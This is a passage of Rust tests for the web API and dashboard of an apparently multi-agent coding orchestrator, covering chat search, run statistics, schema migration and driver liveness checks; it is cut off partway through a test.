fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
let mut talk: Talk = serde_json::from_value(serde_json::json!({
"schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
"status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
"created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
"seat": crate::agent::SeatState::new("talk", "test", 1)
})).unwrap();
assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
talk.title = Some(talk::ChatTitle {
text: "最近の話題".into(),
source: talk::TitleSource::Generated,
});
let doc = talk_search_doc(&talk);
assert_eq!(doc["title"], "最近の話題");
assert_eq!(doc["turns"][0]["operator"], "古い話題");
talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
}
#[tokio::test]
async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
let f = Fixture::start().await;
write_talk(
&f,
"20260901-000001-aaaa",
"open",
&[
(
"operator",
"\n Why does the Pangolin cache expire?\nsecond line",
),
("agent", "Because the TTL is thirty seconds."),
],
);
write_talk(
&f,
"20260901-000002-bbbb",
"closed",
&[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
);
std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
let search = |q: &'static str| {
let f = &f;
async move {
f.get(&format!("/api/search?scope=chats&q={q}"))
.await
.json()
}
};
let v = search("PANGOLIN").await;
assert_eq!(v["scope"], "chats");
assert_eq!(v["total"], 1, "{v}");
assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
assert_eq!(v["hits"][0]["field"], "title");
assert_eq!(v["unreadable"], 1, "{v}");
let marked: Vec<&str> = v["hits"][0]["snippet"]
.as_array()
.unwrap()
.iter()
.filter(|p| p["hit"] == true)
.map(|p| p["text"].as_str().unwrap())
.collect();
assert_eq!(marked, ["Pangolin"]);
let v = search("zebra").await;
assert_eq!(v["total"], 1, "{v}");
assert_eq!(v["hits"][0]["field"], "agent");
assert_eq!(search("pangolin%20thirty").await["total"], 1);
assert_eq!(search("pangolin%20zebra").await["total"], 0);
for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
assert_eq!(search(q).await["total"], 0, "{q}");
}
assert_eq!(search("second").await["hits"][0]["field"], "operator");
assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
let v = f.get("/api/search?scope=nope&q=a").await;
assert_eq!(v.status, 400);
assert!(
v.body.contains("scope must be runs, tasks or chats"),
"{}",
v.body
);
}
#[test]
fn a_question_card_links_a_task_id_to_the_task_page() {
let start = APP_JS
.find("function updateAskCard(")
.expect("updateAskCard exists");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("function end")];
assert!(body.contains("question.run_is_task"));
assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
assert!(body.contains("`#/runs/${question.run}`"));
assert!(body.contains("\"task\" : \"run\""));
}
#[test]
fn plain_text_message_surfaces_go_through_linkify() {
assert!(APP_JS.contains("function linkify("));
assert!(!APP_JS.contains("class: \"event-msg\", text:"));
assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
assert!(!APP_JS.contains("innerHTML = text"));
}
#[test]
fn implementation_rate_views_keep_independent_samples() {
for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
let a = stats::AgentStats {
competitive_entered: competitive_n,
competitive_wins: usize::from(competitive_n > 0),
solo_entered: solo_n,
solo_adopted: 2 * usize::from(solo_n > 0),
..Default::default()
};
let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
for (key, n, numerator) in [
("competitive_win_rate", competitive_n, a.competitive_wins),
("solo_adoption_rate", solo_n, a.solo_adopted),
] {
if n == 0 {
assert!(v[key].is_null());
} else {
assert_eq!(v[key]["denominator"], n);
assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
}
}
}
assert!(APP_JS.contains("rate: a.competitive_win_rate"));
assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
}
#[test]
fn stats_bars_share_one_id_keyed_plan() {
let start = APP_JS
.find("function statsBarRows(")
.expect("statsBarRows exists");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("function end")];
assert!(body.contains("statsBarPlan(rows)"));
assert!(body.contains("statsAgentTone(row.agent)"));
assert!(!body.contains("candTone(i)"));
assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
for root in [
"stats-agents-bars",
"stats-solo-bars",
"stats-reviewers-bars",
] {
assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
}
}
#[test]
fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
let start = APP_JS
.find("function renderStatsReviewerScatter(")
.expect("renderStatsReviewerScatter exists");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("function end")];
assert!(body.contains("statsScatterPlan(reviewers)"));
assert!(body.contains("statsAgentTone(d.agent)"));
assert!(APP_JS.contains("function statsScatterPlan("));
assert!(
APP_JS.contains("d.submitted < STATS_LOW_N")
|| APP_JS.contains("r.submitted < STATS_LOW_N")
);
assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
assert!(APP_CSS.contains(".precision-scatter"));
}
#[test]
fn advisor_reflection_is_drawn_as_stacked_segments() {
assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
let html = include_str!("../assets/ui/index.html");
assert!(html.contains("Approximate"));
for label in ["reflected strongly", "faint", "no proposal"] {
assert!(html.contains(label));
}
let css = include_str!("../assets/ui/app.css");
for c in ["refl-strong", "refl-faint", "refl-absent"] {
assert!(css.contains(&format!(".{c} {{")));
}
}
#[test]
fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
assert!(APP_JS.contains("function statsDailyPlan("));
assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
assert!(INDEX_HTML.contains("id=\"stats-daily\""));
}
#[test]
fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
let start = APP_JS
.find("function scheduleSearch(")
.expect("scheduleSearch exists");
let body = &APP_JS[start..];
let body = &body[..body.find("\n}\n").expect("function end")];
assert!(body.contains("s.seq += 1"));
}
#[tokio::test]
async fn stats_runs_unreadable_matches_health() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
let broken = f.runs().join("20260902-140502-bad");
std::fs::create_dir_all(&broken).expect("run dir");
std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
let stats = f.get("/api/stats").await;
let health = f.get("/api/health").await;
assert_eq!(stats.status, 200);
assert_eq!(stats.json()["totals"]["runs"], 1);
assert_eq!(stats.json()["runs_unreadable"], 1);
assert_eq!(
stats.json()["runs_unreadable"],
health.json()["runs_unreadable"],
"the dashboard and /api/health must never disagree about how many \
runs could not be read"
);
}
#[tokio::test]
async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
let totals = &f.get("/api/stats").await.json()["totals"];
assert_eq!(totals["runs"], 3);
assert_eq!(totals["merged"], 1);
assert_eq!(totals["stalled"], 1);
assert_eq!(totals["in_progress"], 1);
assert_eq!(totals["blocked"], 0);
assert_eq!(totals["ready"], 0);
}
#[tokio::test]
async fn stats_advisors_report_proposals_and_reflection() {
use crate::advise::{Advice, AdvisorRecord, Reflection};
use crate::verdict::Proposal;
let f = Fixture::start().await;
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"task".to_owned(),
Config::default(),
);
state.id = "20260902-140501-a".to_owned();
state.status = RunStatus::Merged;
state.advice = Some(Advice {
records: vec![
AdvisorRecord {
seat: "advisor-1".to_owned(),
agent: "alpha".to_owned(),
proposal: Some(Proposal {
approach: "do it".to_owned(),
key_tradeoff: "speed over memory".to_owned(),
risks: Vec::new(),
touches: Vec::new(),
why_not_naive: "breaks under load".to_owned(),
}),
error: None,
duration_ms: 0,
reflection: Reflection::Strong,
},
AdvisorRecord {
seat: "advisor-2".to_owned(),
agent: "alpha".to_owned(),
proposal: None,
error: Some("timed out".to_owned()),
duration_ms: 0,
reflection: Reflection::Absent,
},
],
synthesis: Some("blended brief".to_owned()),
});
let dir = f.runs().join(&state.id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
let alpha = advisors
.as_array()
.expect("an array")
.iter()
.find(|a| a["agent"] == "alpha")
.expect("alpha row");
assert_eq!(alpha["seated"], 2);
assert_eq!(alpha["proposed"], 1);
assert_eq!(alpha["absent"], 1);
assert_eq!(alpha["strong"], 1);
assert_eq!(alpha["faint"], 0);
assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
}
#[tokio::test]
async fn stats_hides_agents_outside_the_roster_unless_all() {
use crate::run::Candidate;
let repo = TempDir::new().expect("repo dir");
std::fs::write(
repo.path().join("magi.toml"),
"[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
)
.expect("magi.toml");
let f = Fixture::with_repo(repo.path().to_path_buf()).await;
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"task".to_owned(),
Config::default(),
);
state.id = "20260902-140501-a".to_owned();
state.status = RunStatus::Merged;
for (label, agent) in [('A', "keep"), ('B', "retired")] {
let mut c: Candidate = serde_json::from_value(serde_json::json!({
"index": 0, "label": label.to_string(), "agent": agent,
"branch": "b", "worktree": "/w",
}))
.expect("candidate");
c.label = label;
state.candidates.push(c);
}
let dir = f.runs().join(&state.id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
let agents_of = |v: &serde_json::Value| -> Vec<String> {
v["agents"]
.as_array()
.expect("array")
.iter()
.map(|a| a["agent"].as_str().unwrap().to_owned())
.collect()
};
let hidden = f.get("/api/stats").await.json();
assert_eq!(agents_of(&hidden), ["keep"]);
assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
assert_eq!(hidden["totals"]["runs"], 1);
let all = f.get("/api/stats?all=true").await.json();
assert_eq!(agents_of(&all).len(), 2);
assert_eq!(all["retired_hidden"], serde_json::json!([]));
let keep_agent = all["agents"]
.as_array()
.unwrap()
.iter()
.find(|a| a["agent"] == "keep")
.unwrap();
assert_eq!(keep_agent["competitive_entered"], 1);
assert_eq!(keep_agent["competitive_wins"], 0);
assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
assert_eq!(keep_agent["solo_entered"], 0);
assert_eq!(keep_agent["solo_adopted"], 0);
assert!(keep_agent["solo_adoption_rate"].is_null());
}
#[tokio::test]
async fn stats_release_bumps_split_clean_from_attention() {
use crate::run::ReleaseBump;
let f = Fixture::start().await;
let mut clean = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"task".to_owned(),
Config::default(),
);
clean.id = "20260902-140501-a".to_owned();
clean.status = RunStatus::Merged;
clean.release_bump = Some(ReleaseBump {
pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
version: Some("1.0.0".to_owned()),
automerge_enabled: true,
merged_directly: false,
local: false,
release: None,
problem: None,
action_required: None,
skipped: None,
});
let mut blocked = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"task".to_owned(),
Config::default(),
);
blocked.id = "20260902-140502-b".to_owned();
blocked.status = RunStatus::Merged;
blocked.release_bump = Some(ReleaseBump {
pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
version: Some("1.0.1".to_owned()),
automerge_enabled: false,
merged_directly: false,
local: false,
release: None,
problem: Some("checks red".to_owned()),
action_required: Some("look at the PR".to_owned()),
skipped: None,
});
for state in [&clean, &blocked] {
let dir = f.runs().join(&state.id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(state).expect("serialize run"),
)
.expect("write run.json");
}
let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
assert_eq!(bumps["merged"], 2);
assert_eq!(bumps["recorded"], 2);
assert_eq!(bumps["pr_opened"], 2);
assert_eq!(bumps["automerge_enabled"], 1);
assert_eq!(bumps["needs_attention"], 1);
assert_eq!(bumps["clean"], 1);
assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
assert_eq!(bumps["attention_rate"]["pct"], 50.0);
}
#[tokio::test]
async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
assert_eq!(bumps["merged"], 1);
assert_eq!(bumps["recorded"], 0);
assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
assert_eq!(bumps["automerge_rate"], Value::Null);
assert_eq!(bumps["attention_rate"], Value::Null);
}
#[tokio::test]
async fn stats_queue_counts_come_from_the_live_queue() {
let f = Fixture::start().await;
let q = f.queue();
let mut queued = Task::new(
"queued task".to_owned(),
"do it".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
q.put(&mut queued).expect("put queued");
let mut held = Task::new(
"held task".to_owned(),
"do it later".to_owned(),
PathBuf::from("/repo"),
Source::Human,
);
held.hold_machine(Some("out of attempts".to_owned()));
q.put(&mut held).expect("put held");
let queue = f.get("/api/stats").await.json()["queue"].clone();
assert_eq!(queue["queued"], 1);
assert_eq!(queue["held"], 1);
assert_eq!(queue["running"], 0);
assert_eq!(queue["done"], 0);
assert_eq!(queue["failed"], 0);
assert_eq!(queue["blocked"], 0);
}
#[tokio::test]
async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
let f = Fixture::start().await;
let stats = f.get("/api/stats").await;
assert_eq!(stats.status, 200);
assert_eq!(stats.json()["totals"]["runs"], 0);
assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
assert_eq!(stats.json()["runs_unreadable"], 0);
assert!(stats.json()["agents"].as_array().unwrap().is_empty());
assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
assert!(stats.json()["repos"].as_array().unwrap().is_empty());
assert_eq!(stats.json()["repo"], Value::Null);
}
#[tokio::test]
async fn stats_lists_every_repository_with_runs_recorded() {
let f = Fixture::start().await;
write_run_repo(
&f.runs(),
"20260902-140501-a",
RunStatus::Merged,
"/repos/a",
);
write_run_repo(
&f.runs(),
"20260902-140502-b",
RunStatus::Merged,
"/repos/a",
);
write_run_repo(
&f.runs(),
"20260902-140503-c",
RunStatus::Blocked,
"/repos/b",
);
let stats = f.get("/api/stats").await;
assert_eq!(stats.status, 200);
assert_eq!(stats.json()["totals"]["runs"], 3);
assert_eq!(stats.json()["repo"], Value::Null);
let repos = stats.json()["repos"].clone();
let repos = repos.as_array().unwrap();
assert_eq!(repos.len(), 2);
assert_eq!(repos[0]["repo"], "/repos/a");
assert_eq!(repos[0]["name"], "a");
assert_eq!(repos[0]["runs"], 2);
assert_eq!(repos[1]["repo"], "/repos/b");
assert_eq!(repos[1]["runs"], 1);
}
#[tokio::test]
async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
let f = Fixture::start().await;
write_run_repo(
&f.runs(),
"20260902-140501-a",
RunStatus::Merged,
"/repos/a",
);
write_run_repo(
&f.runs(),
"20260902-140502-b",
RunStatus::Blocked,
"/repos/b",
);
let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
assert_eq!(stats.status, 200);
assert_eq!(stats.json()["totals"]["runs"], 1);
assert_eq!(stats.json()["totals"]["merged"], 1);
assert_eq!(stats.json()["repo"], "/repos/a");
assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
assert_eq!(stats.json()["runs_unreadable"], 0);
}
#[tokio::test]
async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
let f = Fixture::start().await;
write_run_repo(
&f.runs(),
"20260902-140501-a",
RunStatus::Merged,
"/repos/a",
);
write_run_repo(
&f.runs(),
"20260902-140502-b",
RunStatus::Merged,
"/repos/b",
);
for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
let json = f.get(uri).await.json();
let daily = json["daily"].as_array().expect("daily is an array");
assert_eq!(daily.len(), 30);
let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
let mut sorted = dates.clone();
sorted.sort();
assert_eq!(dates, sorted);
for d in daily {
assert_eq!(
d["merged"].as_u64().unwrap()
+ d["ready"].as_u64().unwrap()
+ d["other"].as_u64().unwrap(),
d["runs"].as_u64().unwrap()
);
}
assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
}
}
#[tokio::test]
async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
let f = Fixture::start().await;
write_run_repo(
&f.runs(),
"20260902-140501-a",
RunStatus::Merged,
"/repos/a",
);
let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
assert_eq!(stats.status, 404);
}
#[tokio::test]
async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
let f = Fixture::start().await;
write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
let summary = f.get("/api/runs").await.json();
let row = &summary[0];
assert_eq!(row["short"], "a1b2");
assert_eq!(row["status"], "ready");
assert_eq!(row["done"], true);
assert_eq!(row["title"], "Add a web UI");
assert_eq!(row["repo_name"], "magi");
assert_eq!(row["judges"], 3);
assert_eq!(row["winner"], Value::Null);
assert_eq!(row["reviews"], 0);
let detail = f.get("/api/runs/a1b2").await;
assert_eq!(detail.status, 200);
assert_eq!(detail.json()["base_branch"], "main");
assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
}
#[tokio::test]
async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
let f = Fixture::start().await;
let mut none_run = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Add a web UI".to_owned(),
Config::default(),
);
none_run.id = "20260902-140503-none".to_owned();
none_run.status = RunStatus::Ready;
none_run.merge = Some(crate::run::MergeOutcome {
mode: crate::config::MergeMode::None,
ok: true,
detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
empty: false,
});
write_state(&f.runs(), &none_run);
let mut pr_run = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Add a web UI".to_owned(),
Config::default(),
);
pr_run.id = "20260902-140504-prcl".to_owned();
pr_run.status = RunStatus::Ready;
pr_run.merge = Some(crate::run::MergeOutcome {
mode: crate::config::MergeMode::Pr,
ok: false,
detail: "https://example.com/pr/1 was closed without merging".to_owned(),
empty: false,
});
write_state(&f.runs(), &pr_run);
let summary = f.get("/api/runs").await.json();
let rows: std::collections::HashMap<&str, &Value> = summary
.as_array()
.expect("an array")
.iter()
.map(|r| (r["id"].as_str().expect("an id"), r))
.collect();
assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
assert_eq!(
rows[none_run.id.as_str()]["unmerged_by_design"],
true,
"a mode-none Ready must be flagged in the list"
);
assert_eq!(
rows[pr_run.id.as_str()]["unmerged_by_design"],
false,
"a Ready reached by a closed pull request is a different case"
);
let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
assert_eq!(none_detail["status"], "ready");
assert_eq!(none_detail["unmerged_by_design"], true);
let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
assert_eq!(pr_detail["unmerged_by_design"], false);
}
#[tokio::test]
async fn run_core_survives_unavailable_related_stores() {
let home = TempDir::new().unwrap();
let ui = delta_test_ui(home.path());
let state = RunState::new(
PathBuf::from("/repo/magi"),
"main".into(),
"0123456789abcdef".into(),
"Useful core instructions".into(),
Config::default(),
);
let dir = ui.runs.join(&state.id);
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
std::fs::write(ui.questions.root(), "unavailable").unwrap();
std::fs::write(ui.queue.root(), "unavailable").unwrap();
let core = run_core(State(ui.clone()), Path(state.id.clone()))
.await
.unwrap()
.0;
assert_eq!(core.state.instruction, state.instruction);
assert_eq!(core.state.updated_at, state.updated_at);
assert!(core.task.is_none());
assert!(run_detail(State(ui), Path(state.id)).await.is_err());
}
#[tokio::test]
async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
let f = Fixture::start().await;
let id = "20260902-140502-bbbb";
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Add a web UI".to_owned(),
Config::default(),
);
state.id = id.to_owned();
state.status = RunStatus::Judging;
state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
let dir = f.runs().join(id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
let cold = f.get(&format!("/api/runs/{id}")).await.json();
assert_eq!(cold["active"]["judge-2"]["node"], "judge");
assert_eq!(cold["live"], "unknown", "{cold}");
write_daemon(f.home.path(), Timestamp::now());
let warm = f.get(&format!("/api/runs/{id}")).await.json();
assert_eq!(warm["live"], "live", "{warm}");
}
#[test]
fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
let home = tempfile::tempdir().expect("temp home");
let runs = home.path().join("runs");
for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Generated review context, not authored task criteria".to_owned(),
Config::default(),
);
state.origin = origin;
state.status = RunStatus::Blocked;
state.driver_exited = false;
state.gate_ran = true;
let expected = serde_json::to_value(&state).expect("serialize current state");
let mut legacy = expected.clone();
legacy["schema"] = serde_json::json!(13);
legacy.as_object_mut().unwrap().remove("task_instruction");
let dir = runs.join(&state.id);
std::fs::create_dir_all(&dir).expect("run dir");
let path = dir.join("run.json");
let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
std::fs::write(&path, &body).expect("write legacy run");
for loaded in [
RunState::load_under(&state.id, home.path()).expect("CLI migration"),
read_run(&runs, &state.id).expect("web migration"),
] {
assert_eq!(loaded.schema, crate::run::SCHEMA);
assert!(loaded.task_instruction.is_none());
assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
}
assert_eq!(runs_unreadable(&runs), 0);
assert_eq!(std::fs::read(&path).unwrap(), body);
}
}
#[tokio::test]
async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
let f = Fixture::start().await;
let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Add a web UI".to_owned(),
Config::default(),
);
state.id = id.to_owned();
state.origin = origin;
let mut value = serde_json::to_value(&state).expect("serialize run");
if let Some(schema) = schema {
value["schema"] = serde_json::json!(schema);
value.as_object_mut().unwrap().remove("origin");
}
let dir = f.runs().join(id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
};
write(
"20260930-092817-ec34",
Some(crate::run::Origin::from_agent_env(
Some(("4a7b".to_owned(), "chat".to_owned())),
None,
)),
None,
);
write("20260930-092817-0ld1", None, Some(12));
let new = f.get("/api/runs/20260930-092817-ec34").await.json();
assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
assert_eq!(
old["origin_label"], "origin unknown (started before origins were recorded)",
"{old}"
);
assert!(old["origin"].is_null(), "{old}");
let list = f.get("/api/runs").await.json();
let labels: Vec<_> = list
.as_array()
.unwrap()
.iter()
.map(|r| r["origin_label"].as_str().unwrap().to_owned())
.collect();
assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
}
#[tokio::test]
async fn run_progress_observation_exposes_activity_without_control_evidence() {
let f = Fixture::start().await;
let mut state = RunState::new(
PathBuf::from("/repo"),
"main".into(),
"abc".into(),
"task".into(),
Config::default(),
);
state.status = RunStatus::Implementing;
state.seat_started(
"implement",
"implement-A",
std::time::Duration::from_secs(60),
0,
);
state.save_under(f.home.path()).unwrap();
let observed = f
.get(&format!("/api/runs/{}/progress", state.id))
.await
.json();
assert_eq!(observed["id"], state.id);
assert!(observed["observed_at"].is_string());
assert_eq!(observed["updated_at"], state.updated_at.to_string());
assert!(observed["progress"]["activity"].is_string());
for field in [
"config",
"candidates",
"land_approval",
"task",
"waiting",
"done",
] {
assert!(
observed.get(field).is_none(),
"progress must not expose control evidence: {field}"
);
}
}
#[tokio::test]
async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
let f = Fixture::start().await;
let id = "20260922-090000-cccc";
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Review only".to_owned(),
Config::default(),
);
state.id = id.to_owned();
state.status = RunStatus::Reviewing;
state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
state.driver_pid = Some(std::process::id());
state.driver_started_at = Some(
crate::proc::process_started_at(std::process::id())
.expect("this test process's own start time must be queryable"),
);
let dir = f.runs().join(id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
let detail = f.get(&format!("/api/runs/{id}")).await.json();
assert_eq!(detail["live"], "live", "{detail}");
}
#[tokio::test]
async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
let f = Fixture::start().await;
let id = "20260922-090100-dddd";
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Review only".to_owned(),
Config::default(),
);
state.id = id.to_owned();
state.status = RunStatus::Reviewing;
state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
state.driver_pid = Some(std::process::id());
state.driver_started_at = Some("1".to_owned());
let dir = f.runs().join(id);
std::fs::create_dir_all(&dir).expect("run dir");
std::fs::write(
dir.join("run.json"),
serde_json::to_string_pretty(&state).expect("serialize run"),
)
.expect("write run.json");
let detail = f.get(&format!("/api/runs/{id}")).await.json();
assert_eq!(detail["live"], "dead", "{detail}");
}
#[test]
fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
let mk = |id: &str, pid: Option<u32>| {
let mut s = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Add a web UI".to_owned(),
Config::default(),
);
s.id = id.to_owned();
s.driver_pid = pid;
s.driver_started_at = Some("1790000000".to_owned());
s
};
let states = vec![
mk("20260902-140502-aaaa", Some(77)),
mk("20260902-140502-bbbb", Some(77)),
mk("20260902-140502-cccc", Some(77)),
mk("20260902-140502-dddd", None),
];
let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
let sup: HashMap<String, String> = [(
"20260902-140502-aaaa".to_owned(),
"20260902-140502-cccc".to_owned(),
)]
.into();
let status_calls = std::cell::Cell::new(0);
let identity_calls = std::cell::Cell::new(0);
let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
|_| {
status_calls.set(status_calls.get() + 1);
Some(true)
},
|_| {
identity_calls.set(identity_calls.get() + 1);
Some("1790000000".to_owned())
},
));
let rows = summarize(
states,
&open,
&claimed,
&sup,
|p| probe.borrow_mut().status(p),
|p| probe.borrow_mut().started_at(p),
);
assert_eq!(status_calls.get(), 1, "one pid, one status query");
assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
assert_eq!(rows.len(), 4);
assert!(!rows[0].waiting && rows[1].waiting);
assert_eq!(rows[0].live, crate::run::Liveness::Live);
assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
assert_eq!(rows[1].superseded_by, None);
}
#[test]
fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"0123456789abcdef".to_owned(),
"Review only".to_owned(),
Config::default(),
);
state.id = "20260922-090200-dead".to_owned();
state.status = RunStatus::Reviewing;
let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
.expect("serialize list row");
assert_eq!(row["status"], "reviewing");
assert_eq!(row["display_status"], "stale");
assert_eq!(row["live"], "dead", "{row}");
assert!(!row["done"].as_bool().unwrap());
}
#[test]
fn run_display_status_distinguishes_park_crash_and_owner_wait() {
use crate::run::Liveness::{Dead, Live, Unknown};
let mut state = RunState::new(
PathBuf::from("/repo/magi"),
"main".to_owned(),
"abc".to_owned(),
"Review only".to_owned(),
Config::default(),
);
for (status, parked, node, waiting, live, expected) in [
(
RunStatus::Judging,
true,
"github-text",
false,
Dead,
"parked",
),
(RunStatus::Judging, false, "park", false, Dead, "stale"),
(RunStatus::Judging, false, "judge", false, Dead, "stale"),
(
RunStatus::Judging,
